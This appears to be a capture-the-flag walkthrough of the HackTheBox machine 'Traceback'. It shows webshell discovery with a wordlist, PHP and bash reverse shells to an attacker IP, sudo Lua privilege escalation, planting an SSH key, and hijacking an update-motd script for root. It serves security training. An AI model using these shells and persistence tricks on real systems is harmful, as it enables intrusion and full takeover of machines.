Traceback

Enumeration

We start off with a full-port nmap to check running services (most of output truncated)

$ sudo nmap -sS -n -p- -A -oN full.nmp 10.10.10.181

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA)
|   256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA)
|_  256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Help us

We see port 22 with SSH and port 80 with HTTP. Let's check the HTTP.

HTTP

We're greeted with a strange message:

The Message

It seems as if our job is to find the "backdoor" into the system. The source has nothing particularly interesting, except for a comment:

The Comment

If we google this comment we come across an interesting GitHub repo with a collection of reverse shells. Let's put their names in a file called wordlist.txt and run gobuster:

alfa3.php
alfav3.0.1.php
andela.php
bloodsecv4.php
by.php
c99ud.php
cmd.php
configkillerionkros.php
jspshell.jsp
mini.php
obfuscated-punknopass.php
punk-nopass.php
punkholic.php
r57.php
smevk.php
wso2.8.5.php

$ gobuster dir -u http://10.10.10.181/ -w wordlist.txt -t 50

===============================================================
/smevk.php (Status: 200)
===============================================================

It appears as if smevk.php is on the target! Let's head over to http://10.10.10.181/smevk.php and we what happens.

The Webshell

It definitely exists! The repo tells us the default credentials are admin:admin.

Yes, it's pretty hideous

Foothold

The webshell looks horrible, but we have an Execute input where we can run commands. We can now use this to get an actual reverse shell.

First we use nc on a terminal to listen for incoming connections:

$ nc -nvlp 9001

Next we use a PHP reverse shell on the webshell to redirect execution to it:

$ php -r '$sock=fsockopen("10.10.14.21",9001);exec("/bin/sh -i <&3 >&3 2>&3");'

We get a connection! This is a fairly bad shell, but we can easily upgrade it to be useful.

User

Enumeration

Now we have a foothold, let's check what's in our user's home directory. It appears to be a file called note.txt:

webadmin@traceback:/home/webadmin$ ls
note.txt

webadmin@traceback:/home/webadmin$ cat note.txt
- sysadmin -
I have left a tool to practice Lua.
I'm sure you know where to find it.
Contact me if you have any question.

We have been left "a tool to practise Lua". As always, first thing we should do as a new user is check our permissions.

webadmin@traceback:/home/webadmin$ sudo -l
User webadmin may run the following commands on traceback:
    (sysadmin) NOPASSWD: /home/sysadmin/luvit

We can run luvit as sysadmin! We can guess that luvit is the tool that runs Lua scripts. Because we can run it as sysadmin, if we create a Lua script that spawns a shell we will spawn with higher privileges.

Exploitation

os.execute("/bin/bash")

This is the command we want to run. We can simply use echo to create it:

webadmin@traceback:/home/webadmin$ echo 'os.execute("/bin/bash")' > privesc.lua

Now let's run it as sysadmin!

$ sudo -u sysadmin /home/sysadmin/luvit privesc.lua
$ whoami
sysadmin

You could also have done it in one line using the -e flag:

sudo -u sysadmin /home/sysadmin/luvit -e ‘os.execute(“/bin/bash”)’

We can now read user.txt!

sysadmin@traceback:/home/webadmin$ cat ~/user.txt
895...

Root

Firstly, we want to get a nice SSH shell. We can get this using SSH keys.

Getting SSH Access

First create the key pair:

$ ssh-keygen -f traceback

Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again:
[...]

I just hit Enter, meaning there's no passphrase. Now cat traceback.pub and echo it into ~/.ssh/authorized_keys - this registers the keypair as valid.

When using echo in these scenarios, use >> rather than >. Using only a single > will overwrite all the other contents, essentially erasing any keys owned by other people, which is not a great thing to do.

If ~/.ssh doesn't exist already, make sure you create it.

echo "<public key>" >> ~/.ssh/authorized_keys

Make sure you spell it authorized not authorised!

Now we can log in via SSH using

ssh -i traceback sysadmin@10.10.10.181

Finding the Vulnerability

To perform some automated privesc recon, I'm going to run linpeas. Port it over by hosting it on a python SimpleHTPServer:

$ sudo python3 -m http.server 80

The wget it on the box:

wget 10.10.14.21/linpeas.sh

Then chmod, run and analyse the output.

Something that really sticks out is this:

GROUP Writeable Files

These scripts get run every time someone logs in with SSH. If we can modify them (which we can), they will run whatever we modify them to. The important part here is they get run as root.

Exploitation

So the privesc is simple, but what should we get the file to do? There are a couple types of choices:

• Run something that enables us to get root

• Print the flag

In these situations, if both approaches are equivalently easy, then it's a good idea to go for the approach that affects the least other users. Nobody can notice our reverse shell since it's directly to our IP, so it doesn't affect other users.

echo -e '#!/bin/bash\nbash -i >& /dev/tcp/10.10.14.21/9002 0>&1' > 00-header

Make sure you set up an nc listener on port 9002 and then log in via SSH again.

$ nc -nvlp 9002

$ ssh -i traceback sysadmin@10.10.10.181

And bam, we have a root shell.

root@traceback:/# whoami
whoami
root

root@traceback:/# cat /root/root.txt
cat /root/root.txt
e68...